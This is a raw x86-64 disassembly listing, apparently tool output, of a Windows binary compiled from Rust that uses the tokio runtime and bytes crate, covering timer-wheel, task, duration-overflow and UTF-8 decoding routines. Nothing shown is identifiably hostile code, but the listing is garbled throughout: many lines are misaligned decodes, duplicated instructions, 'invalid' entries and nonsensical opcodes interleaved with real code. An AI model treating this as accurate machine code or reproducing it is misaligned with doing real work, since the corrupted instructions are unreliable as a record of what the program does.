mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x28]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
call fcn.140108280
int3
invalid
mov qword [rsi + 0x30], 0
xor edx, edx
mov al, 1
lock cmpxchg byte [rbx + 8], dl
jne 0x1400f3f78
test rdi, rdi
je 0x1400f3f0a
call qword [rdi + 0x18]
mov byte [rsi + 0x38], 2
xor esi, esi
mov eax, esi
movaps xmm6, xmmword [rsp + 0x60]
invalid
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
mov rcx, qword [r15 + 8]
test r12, r12
je 0x1400f3f48
mov rax, qword [r15]
cmp qword [rsi + 0x28], rcx
jne 0x1400f3f4b
cmp r12, rax
jne 0x1400f3f4b
xor edi, edi
mov r14, qword [rsp + 0x28]
jmp 0x1400f3f5d
mov rax, qword [r15]
call qword [rax]
mov rdi, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], rdx
xor ecx, ecx
mov sil, 1
mov al, 1
lock cmpxchg byte [rbx + 8], cl
jne 0x1400f3f94
test rdi, rdi
je 0x1400f3f10
mov rcx, r14
call qword [rdi + 0x18]
jmp 0x1400f3f10
mov rbx, rcx
mov rcx, rbp
call fcn.14010af70
mov rcx, rbx
test rdi, rdi
jne 0x1400f3f07
jmp 0x1400f3f0a
mov rcx, rbp
call fcn.14010af70
test rdi, rdi
jne 0x1400f3f70
jmp 0x1400f3f10
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x60
mov r14, r9
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f423c
test eax, eax
jne 0x1400f441e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
movabs rax, 0x7ffffffffffffffe
cmp rcx, rax
ja 0x1400f43d1
lea rax, [rcx + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rax
mov rax, qword [rdx + 0xd8]
cmp rax, 2
je 0x1400f43dd
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov edx, 1
mov r9d, 1
lock xadd qword [rcx], r9
test rax, rax
je 0x1400f42d7
mov r8d, 0x118
test r9, r9
jns 0x1400f42e8
jmp 0x1400f43cf
test r9, r9
js 0x1400f43cf
mov r8d, 0xb8
xor edx, edx
mov r9d, dword [0x140182314]
mov r10, qword gs:[0x58]
mov r9, qword [r10 + r9*8]
dec qword [r9 + 0xd0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
cmp dword [rcx + r8 + 0xa8], 0x3b9aca00
je 0x1400f440a
mov edx, 1
mov r8d, 1
lock xadd qword [rcx], r8
test rax, rax
je 0x1400f433e
test r8, r8
jns 0x1400f4349
jmp 0x1400f43cf
test r8, r8
js 0x1400f43cf
xor edx, edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsi], rdx
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
mov dword [rsi + 0x10], ebx
mov dword [rsi + 0x18], edi
movups xmm0, xmmword [rsp + 0x3c]
movups xmm1, xmmword [rsp + 0x4c]
movups xmmword [rsi + 0x1c], xmm0
sbb al, 0xf
adc dword [rsi + 0x2c], ecx
sbb al, 0xf
adc dword [rsi + 0x2c], ecx
mov edx, dword [rsp + 0x5c]
mov dword [rsi + 0x3c], edx
mov qword [rsi + 0x40], 0xffffffffffffffff
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x58], 0
mov byte [rsi + 0x60], 0
mov byte [rsi + 0x68], 0
lock dec qword [rcx]
lea rcx, [rsp + 0x30]
sete dl
test rax, rax
je 0x1400f43b9
test dl, dl
je 0x1400f43c2
call fcn.1400e43e0
jmp 0x1400f43c2
test dl, dl
je 0x1400f43c2
call fcn.1400e4320
nop
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xd0], rcx
xor eax, eax
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x28]
mov rdx, r14
call fcn.14010da80
lea rcx, [0x14014c778]
mov edx, 0x73
mov r8, r14
call fcn.1401086b0
mov al, 1
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x28]
mov rdx, r14
call fcn.14010da80
int3
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
int3
invalid
mov eax, dword [rcx + r9 + 0xa8]
cmp eax, 0x3b9aca00
je 0x1400f4b10
mov r9, qword [rcx + r9 + 0xa0]
cmp r8d, 0x3b8b87c1
jb 0x1400f4851
inc rdx
je case.0x1400b3986.984
add r8d, 0xc474783f
cmp r8d, 0x3b9aca00
jb 0x1400f4858
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rdx, rcx
jb 0x1400f4b40
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
jmp 0x1400f4858
add r8d, 0xf423f
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], r8d
lea rcx, [rsp + 0x28]
mov rdx, r9
mov r8d, eax
call fcn.1400d5e50
mov ecx, edx
imul r14, rcx, 0x431bde83
shr r14, 0x32
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove rax, rcx
cmove r14d, ecx
mov ecx, 0x3e8
mul rcx
add r14, rax
adc rdx, 0
mov rcx, 0xfffffffffffffffd
cmovne r14, rcx
lea rbx, [rsi + 0x20]
mov rax, qword [rsi + 0x40]
cmp r14, 0xfffffffffffffffd
cmovb rcx, r14
nop dword [rax]
cmp rax, rcx
ja 0x1400f48d2
lock cmpxchg qword [rsi + 0x40], r14
jne 0x1400f48c0
jmp 0x1400f4ade
cmp qword [rsi], 0
mov rdi, qword [rsi + 8]
mov ecx, 0xb8
mov eax, 0x118
cmove rax, rcx
cmp dword [rdi + rax + 0xa8], 0x3b9aca00
je 0x1400f4b10
add rdi, rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x58], cl
jne 0x1400f4ae8
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400f4921
lea rcx, [rdi + 0x60]
mov rdx, rbx
call fcn.1400ecad0
movzx eax, byte [rdi + 0x98]
test al, al
je 0x1400f4964
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400f4a84
mov byte [rsi + 0x60], 1
mov qword [rsi + 0x40], 0xffffffffffffffff
mov rax, qword [rsi + 0x58]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x1400f4950
jmp 0x1400f4a7f
mov qword [rsi + 0x40], r14
mov qword [rsi + 0x30], r14
mov r8, qword [rsi + 0x40]
cmp r8, 0xffffffffffffffff
je 0x1400f4b77
mov qword [rsi + 0x30], r8
mov rax, qword [rdi + 0x78]
js 0x1400f49cc
cmp eax, eax
js 0x1400f49cc
cmp eax, eax
jbe 0x1400f4a4e
xor rax, r8
or rax, 0x3f
movabs rcx, 0xffffffffe
cmp rax, rcx
cmovae rax, rcx
bsr rax, rax
xor al, 1
movzx eax, al
imul ecx, eax, 0x2b
shr ecx, 8
mov rdx, qword [rdi + 0x70]
cmp rdx, rcx
jbe 0x1400f4b04
mov rdx, qword [rdi + 0x68]
imul r9, rcx, 0x410
mov rax, qword [rsi + 0x30]
mov ecx, dword [rdx + r9 + 0x400]
add ecx, ecx
xor byte [rdx - 0x75], r8b
mov word [rdx], cs
add byte [rax + rax], al
add byte [rcx], al
leave
lea ecx, [rcx + rcx*2]
shr rax, cl
add rdx, r9
and eax, 0x3f
mov r9d, eax
shl r9d, 4
lea rcx, [rdx + r9]
mov qword [rsp + 0x20], rbx
mov r9, qword [r9 + rdx]
cmp r9, rbx
je 0x1400f4b8f
mov qword [rsi + 0x28], r9
mov qword [rsi + 0x20], 0
test r9, r9
je 0x1400f4a15
mov qword [r9], rbx
mov qword [rcx], rbx
cmp qword [rcx + 8], 0
jne 0x1400f4a23
mov qword [rcx + 8], rbx
mov r9d, 1
mov ecx, eax
shl r9, cl
or qword [rdx + 0x408], r9
mov rax, qword [rdi + 0x90]
nop
add byte [rax], al
add byte [rax - 1], cl
enter 0x394c, 0xffffffffffffffc0
nop
add byte [rax], al
add byte [rax - 1], cl
enter 0x394c, 0xffffffffffffffc0
jb 0x1400f4a84
mov rcx, rdi
call fcn.1400ea720
jmp 0x1400f4a84
invalid
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400f4a84
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x40], 0xffffffffffffffff
mov rax, qword [rsi + 0x58]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x1400f4a70
test rax, rax
je 0x1400f4aa6
xor edx, edx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x58], cl
jne 0x1400f4ac7
test rdx, rdx
je 0x1400f4ade
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [rdx + 8]
mov rdx, qword [rsi + 0x48]
mov rbx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x58], cl
je 0x1400f4a91
add rdi, 0x58
mov rcx, rdi
mov rsi, rdx
call fcn.14010af70
mov rdx, rsi
test rdx, rdx
jne 0x1400f4a96
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [rdi + 0x58]
lea ecx, [rdi + 0x58]
call fcn.14010b310
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x1400f4915
jmp 0x1400f4921
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
call fcn.1401082d0
lea rcx, [0x14014c778]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.1401086b0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
call fcn.1401086b0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x28]
call fcn.140108280
lea rcx, str.Timer_already_fired
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
add byte [rdx + 0x13], bh
add byte [rdx + 0x13], bh
call fcn.1401086b0
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x20]
lea r8, [rsp + 0x28]
call fcn.140111990
int3
iretd
scasb al, byte [rdi]
invalid
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400f4c41
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
mov ecx, r8d
shr ecx, 9
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
shr rcx, 0x27
add rax, rcx
jb 0x1400f4c70
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
jmp 0x1400f4c41
leave
add dl, cl
invalid
vpsubb xmm8, xmm15, xmmword [r8]
retf 0x3b9a
mov rcx, rdi
mov rdx, rax
mov r9, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x1400f41d0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x28]
call fcn.140108280
int3
cmp dword [rdi + 8], eax
jb 0x1400f4d96
lea rcx, [rsp + 0xb8]
mov rdx, rdi
call fcn.140012770
cmp qword [rsp + 0xb8], 0
je 0x1400f4d96
mov qword [r15 + 0x38], 0
mov rcx, qword [r15]
mov rax, qword [r15 + 0x18]
test rcx, rcx
je 0x1400f4d1c
mov rcx, qword [r15 + 8]
add rax, qword [r15 + 0x20]
cmp rax, rcx
cmovbe rax, rcx
mov rcx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
xor edx, edx
sub rax, rcx
cmovae rdx, rax
sub r8, rcx
cmp rdx, r8
jbe 0x1400f4d48
mov rcx, rdi
call fcn.140012910
movups xmm0, xmmword [rsp + 0xb8]
movups xmm1, xmmword [rsp + 0xc8]
movups xmmword [rbx + 0x18], xmm1
movups xmmword [rbx + 8], xmm0
mov qword [rbx], 0
jmp 0x1400f4d9c
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add cl, ch
retf 0xfffd
and esi, 0x1f
or r14, rax
mov rax, r14
jmp 0x1400f509a
jl 0x1400f505a
xor byte [rcx - 0x77], cl
fisttp qword [rcx + rcx*4 - 0x3a]
mov rbx, qword [rbp]
mov r15, qword [rbp + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f51ea
ror byte [rdi], 0x84
mov dword [rcx], eax
add byte [rax], al
add r15, rdi
lea rcx, [r12 + rdi]
sub rbx, rdi
shr r14d, 2
and r14d, 7
mov qword [rax], r15
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], 1
mov r8, rsi
mov rbx, r13
mov r15, qword [rsp + 0x30]
mov r9, qword [rsp + 0x28]
mov rdi, rbp
mov qword [rbp + 0x18], rax
add qword [rdi], r9
xor eax, eax
sub r12, r9
cmovb r12, rax
mov qword [rdi + 8], r12
mov rax, qword [rdi + 0x10]
sub rax, r9
mov qword [rdi + 0x10], rax
xor edx, edx
mov rcx, r8
sub rcx, r12
cmovae rdx, rcx
sub rax, r12
cmp rdx, rax
jbe 0x1400f50de
mov rcx, rdi
mov rsi, r8
call fcn.140012910
mov r8, rsi
mov qword [r15 + 0x38], 1
mov qword [r15 + 0x40], r8
cmp qword [rdi + 8], r8
jae 0x1400f4ce5
jmp 0x1400f4d96
add byte [rax], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
int3
lea ebp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f5249
mov qword [rax], 1
lea rcx, [0x14014ed50]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x15
inc rax
add rsp, 0x30
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
ud2
sub esp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
movzx eax, byte [0x140182310]
mov edx, 0x2f
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f5346
mov rsi, rax
movups xmm0, xmmword [0x14014f09f]
movups xmmword [rax + 0x1f], xmm0
movups xmm0, xmmword [0x14014f090]
movups xmmword [rax + 0x10], xmm0
adc dword [rax + 0x10], eax
adc dword [rax + 0x10], eax
movups xmm0, xmmword [str.provided_length_would_overflow_after_adjustmentLengthDelimitedCodecErrorframe_size_too_big]
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f5355
mov rdi, rax
mov qword [rax], 0x2f
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 0x2f
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f5364
mov qword [rax], rdi
lea rcx, [0x14014edc8]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x14
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
mov edx, 0x2f
call fcn.140107fc0
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
ud2
add r9d, r8d
sub eax, r9d
test ax, ax
jne 0x1400f5555
lea eax, [rcx + rdx]
add eax, 0xffffee59
ret
mov eax, edx
or eax, ecx
cmp eax, 0x10000
add byte [rbx + 0x57], dh
add byte [rbx + 0x57], dh
shl ecx, 0x10
or ecx, edx
imul eax, ecx, 0x9e3779b9
imul edx, ecx, 0x31415926
xor eax, edx
imul rax, rax, 0x3a0
add byte [rax - 0x3f], cl
call 0x1459ca1a1
mov ebx, 0x410005f4
movzx eax, word [rax + rax*2]
add byte [rax - 0x3f], cl
call 0x1459ca1a1
mov ebx, 0x410005f4
movzx eax, word [rax + rax*2]
add eax, ecx
imul eax, eax, 0x9e3779b9
xor eax, edx
imul rdx, rax, 0x3a0
imul edx, eax, 0x3a0
imul edx, eax, 0x3a0
shr rdx, 0x20
lea r8, [0x140155180]
mov eax, 0x110000
cmp dword [r8 + rdx*8], ecx
jne 0x1400f55b6
mov eax, dword [r8 + rdx*8 + 4]
ret
mov eax, 0x110000
cmp ecx, 0x11346
jg 0x1400f55fb
cmp ecx, 0x110a4
jle 0x1400f5632
cmp ecx, 0x110a5
je case.0x1400d8946.242
cmp ecx, 0x11131
je 0x1400f56de
cmp ecx, 0x11132
stc
xor dl, byte [rcx]
add dword [rax], eax
jne 0x1400f55b6
cmp edx, 0x11127
mov ecx, 0x1112f
cmove eax, ecx
ret
cmp ecx, 0x115b7
mov bh, 0x15
add dword [rax], eax
jle 0x1400f5655
cmp ecx, 0x115b8
je 0x1400f56cf
stc
xor eax, 0x75000119
xchg ebx, eax
cmp edx, 0x11930
mov ecx, 0x11938
cmove eax, ecx
ret
cmp ecx, 0x11099
je 0x1400f568f
cmp ecx, 0x1109b
jne 0x1400f55b6
cmp edx, 0x110ba
mov ecx, 0x1109c
adc byte [rcx], al
add byte [rdi], cl
invalid
invalid
adc byte [rcx], al
add byte [rdi], cl
rol ebx, 0x81
ret
cmp ecx, 0x11347
je 0x1400f569e
cmp ecx, 0x114b9
invalid
test dword [rbp - 1], ecx
invalid
ret
cmp ecx, 0x11347
je 0x1400f569e
test byte [rbp - 0x7f000000], cl
cli
mov edx, 0x74000114
jg 0x1400f55ff
cli
mov ebp, 0xf000114
test dword [0xf90f5689], ebp
mov esi, 0xc3000114
cmp edx, 0x110ba
mov ecx, 0x1109a
cmove eax, ecx
ret
cmp edx, 0x110ba
mov ecx, 0x110ab
cmove eax, ecx
ret
add dword [rax], eax
cmove eax, ecx
invalid
ret
rol ebx, 0x81
cli
invalid
cmp edx, 0x11127
mov ecx, 0x1112e
cmove eax, ecx
ret
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x128
in al, dx
sub byte [rcx], al
add byte [rax], al
in al, dx
sub byte [rcx], al
add byte [rax], al
mov rsi, rcx
test r8, r8
je 0x1400f577b
cmp byte [rdx], 0x5b
jne 0x1400f577b
pop rbp
jne 0x1400f5aa0
mov r9, r8
dec r9
je 0x1400f6059
lea rcx, [rsp + 0x30]
call fcn.1400f6370
cmp byte [rsp + 0x30], 0
and al, 0x30
add byte [rdi], cl
invalid
stosb byte [rdi], al
add eax, dword [rax]
invalid
and al, 0x30
add byte [rdi], cl
test byte [rdx + 0xf000003], ch
mov dh, 0x44
and al, 0x31
movzx eax, byte [rsp + 0x31]
mov byte [rsi + 8], al
jmp 0x1400f5aa4
add r8, rdx
lea rdi, [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
stc
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.14004a780
mov r12, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
add byte [rcx - 0x41], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24b48b4c], al
mov al, 0
add byte [rax], al
add byte [rcx - 0x41], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24b48b4c], al
mov al, 0
add byte [rax], al
cmp r12, r15
jne 0x1400f57ca
lea rcx, [rsp + 0x80]
mov rdx, rbx
mov r8, r14
call fcn.140010e90
jmp 0x1400f582c
add byte [rax], 0
add byte [rax - 0x77], cl
fimul dword [rbp - 0x77]
invalid
lea rcx, [rsp + 0x30]
mov rdx, rbx
fimul dword [rbp - 0x77]
invalid
call fcn.140010e90
cmp qword [rsp + 0x30], r15
jne 0x1400f57fb
fimul dword [rbp - 0x77]
invalid
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], r14
and al, 0x90
add byte [rax], al
add bl, ch
invalid
and al, 0x90
add byte [rax], al
add bl, ch
xor dword [rax - 0x75], ecx
and al, 0x40
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x90], eax
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x80], xmm0
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x74
invalid
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x74
adc cl, byte [rax - 0x75]
or eax, 0x8ca3f
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x1400f586a
invalid
sub dword [rdi], ecx
mov byte [0x14f0f5850], cl
mov dh, 5
ret 0x8ca
js 0x1400f6054
adc bh, byte [rcx + 1]
mov rdx, rbx
call fcn.140107fc0
mov eax, 1
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
mov dword [rsp + 0xa8], eax
mov qword [rsp + 0xb0], 0
mov byte [rsp + 0x64], 0
mov dword [rsp + 0x60], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x40
ror byte [rdi], 0x11
and al, 0x40
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x30]
mov r8, r14
mov r9, rbx
call fcn.140041950
mov r13, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
cmp byte [rsp + 0x110], 2
adc byte [rcx], al
add byte [rax], al
add dh, byte [rbp + 0x12]
adc byte [rcx], al
add byte [rax], al
add dh, byte [rbp + 0x12]
mov rbx, qword [rsp + 0xb0]
cmp qword [rsp + 0x30], 0
jne 0x1400f5941
jmp 0x1400f5955
mov r14, qword [rsp + 0x110]
mov ebx, dword [rsp + 0x118]
test r13, r13
je 0x1400f5933
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
mov rdi, r14
mov r13, r15
cmp qword [rsp + 0x30], 0
je 0x1400f5955
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or ecx, edx
add dword [rax], eax
or ecx, edx
add dword [rax], eax
cmp qword [rsp + 0x48], 0
je 0x1400f5971
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
out dx, eax
leave
add dword [rax], eax
out dx, eax
leave
add dword [rax], eax
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x1400f5996
mov byte [rsi + 8], 1
movabs rax, 0x8000000000000002
mov qword [rsi], rax
jmp 0x1400f5adc
test rbx, rbx
je 0x1400f5ab3
add byte [rax], al
add byte [rax], al
lea rax, [rdi + rbx]
lea rcx, [0x140178e50]
mov rdx, rdi
cmp rdx, rax
je 0x1400f5b33
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400f59e0
inc edx
cmp r8d, 0x20
jae 0x1400f5a70
jmp 0x1400f5a88
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
mov r9d, r8d
and r9d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400f5a3d
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp r11b, 0xf0
jb 0x1400f5a53
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400f5b33
test byte [rdx], al
add dword [rax], eax
invalid
test byte [rdx], al
add dword [rax], eax
add byte [rax - 0x7d], cl
ret 0x4104
add rdx, 4
cmp r8d, 0x20
jae 0x1400f5a70
jmp 0x1400f5a88
add rdx, 2
shl r9d, 6
or r9d, ebp
mov r8d, r9d
cmp r8d, 0x20
jae 0x1400f5a70
jmp 0x1400f5a88
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0x20
jb 0x1400f5a88
nop word [rax + rax]
add r8d, 0xffffffe0
cmp r8d, 0x5f
ja case.default.0x1400f5a85
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
mov byte [rsi + 8], 5
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
jne 0x1400f5aca
jmp 0x1400f5adc
mov byte [rsi + 8], 4
add al, 0x48
mov eax, 2
add byte [rax], al
add byte [rax - 0x14f976b8], al
push rax
movabs rax, 0x8000000000000002
mov qword [rsi], rax
jmp 0x1400f5b03
xor eax, eax
mov byte [rsi + 8], al
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
je 0x1400f5adc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400f5b03
lea rax, [rsp + 0x31]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 8], xmm0
movabs rax, 0x8000000000000001
jmp 0x1400f5aae
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rbx
movabs r14, 0x2e0000002e
mov qword [rsp + 0x60], r14
mov byte [rsp + 0x68], 1
mov word [rsp + 0x70], 1
lea rcx, [rsp + 0x30]
call fcn.1400f60d0
test rax, rax
je 0x1400f609c
xor r8d, r8d
jmp 0x1400f627a
inc dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
nop
cmp rdx, r8
je 0x1400f625d
movzx r11d, byte [rcx + r8]
and r11b, 0xf8
inc r8
cmp r11b, 0x30
je 0x1400f61e0
jmp 0x1400f619b
mov r8d, 8
mov rcx, r9
mov rdx, r10
call fcn.140019760
mov r8, rax
shr r8, 0x20
not eax
and eax, 1
mov edx, r8d
